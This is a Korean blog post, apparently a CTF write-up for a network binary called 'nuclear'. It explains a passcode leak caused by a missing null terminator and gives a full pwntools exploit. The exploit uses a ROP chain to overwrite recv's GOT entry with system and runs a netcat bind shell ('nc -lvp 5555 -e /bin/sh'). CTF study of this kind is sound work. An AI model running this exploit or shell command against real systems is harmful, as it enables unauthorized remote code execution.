일단 포트는 1129 이며, 서버에 있는 passcode 파일을 read한 후 launch 에서 비교하는데 일단 passcode를 알아내야한다.
else 부분에 있는 "unknown command : %s" 에서 릭한걸 출력하면 될거 같다
스택은 다음과 같다. s1[512] + v4[4] + v5[4] + s[32]
저 s[32]에 passcode가 들어가있는데 recv에서 512만큼밖에 입력을 안받기 때문에 8byte가 비어 s를 추출하지 못한다.
하지만 8byte를 채울 수 있는 방법이 있는데 바로 target 부분이다.
여기서 v4와 v5 변수에 위도 경도값을 넣을 수 있는데 sscanf으로 넣기 때문에 null값이 채워지지 않는다.
그렇기에 먼저 target에서 값 넣어준 다음 "A"*512 넣어주면 leak 된다.
그 다음 recv, send 이용해서 rop 해주면 된다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | from pwn import * from time import * p = remote('localhost', 1129) e = ELF('./nuclear') cmd = 'nc -lvp 5555 -e /bin/sh' recv_got = e.got['recv'] ppppr = 0x804917c offset = 0x18a5a0 #recv - system #passcode leak print p.sendlineafter('> ', 'target') p.sendlineafter('---> ', '34.2/35.2') p.sendlineafter('> ', 'A'*512) passcode = p.recv(1024) print passcode passcode = passcode[542 : len(passcode)-2] print '[+] passcode is ' + passcode p.close() #rop start payload = '' payload += 'A'*528 #cmd -> bss payload += p32(e.plt['recv']) payload += p32(ppppr) payload += p32(4) payload += p32(e.bss()) payload += p32(len(cmd)+1) payload += p32(0) #recv leak payload += p32(e.plt['send']) payload += p32(ppppr) payload += p32(4) payload += p32(recv_got) payload += p32(4) payload += p32(0) #recv_got -> system payload += p32(e.plt['recv']) payload += p32(ppppr) payload += p32(4) payload += p32(recv_got) payload += p32(4) payload += p32(0) #system(cmd) payload += p32(e.plt['recv']) payload += 'AAAA' payload += p32(e.bss()) p = remote('localhost', 1129) print p.sendlineafter('> ', 'launch') print p.sendlineafter(' : ', passcode) print p.recv(1024) p.sendline(payload) print p.recv(1024) p.sendline(cmd) recv = u32(p.recv(4)) print '[+] recv = ' + hex(recv) print '[+] system = ' + hex(recv - offset) p.sendline(p32(recv - offset)) print 'nc localhost 5555' | cs |
첫번째 터미널은 문제 프로세스 실행시켜주고
두번째 터미널에서 익스 돌린 후 5555 포트 열여준 곳으로 이동해 쉘이 따진걸 확인할 수 있었다.
'CTF' 카테고리의 다른 글
[Codegate 2017] babypwn (0) | 2018.02.23 |
---|---|
[Codegate 2016] watermelon (0) | 2018.02.23 |
[Codegate 2014] angry_doraemon (0) | 2018.02.22 |
[Plaid 2013] ropasaurusrex (0) | 2018.02.18 |
[Codegate 2018] Welcome to droid (0) | 2018.02.09 |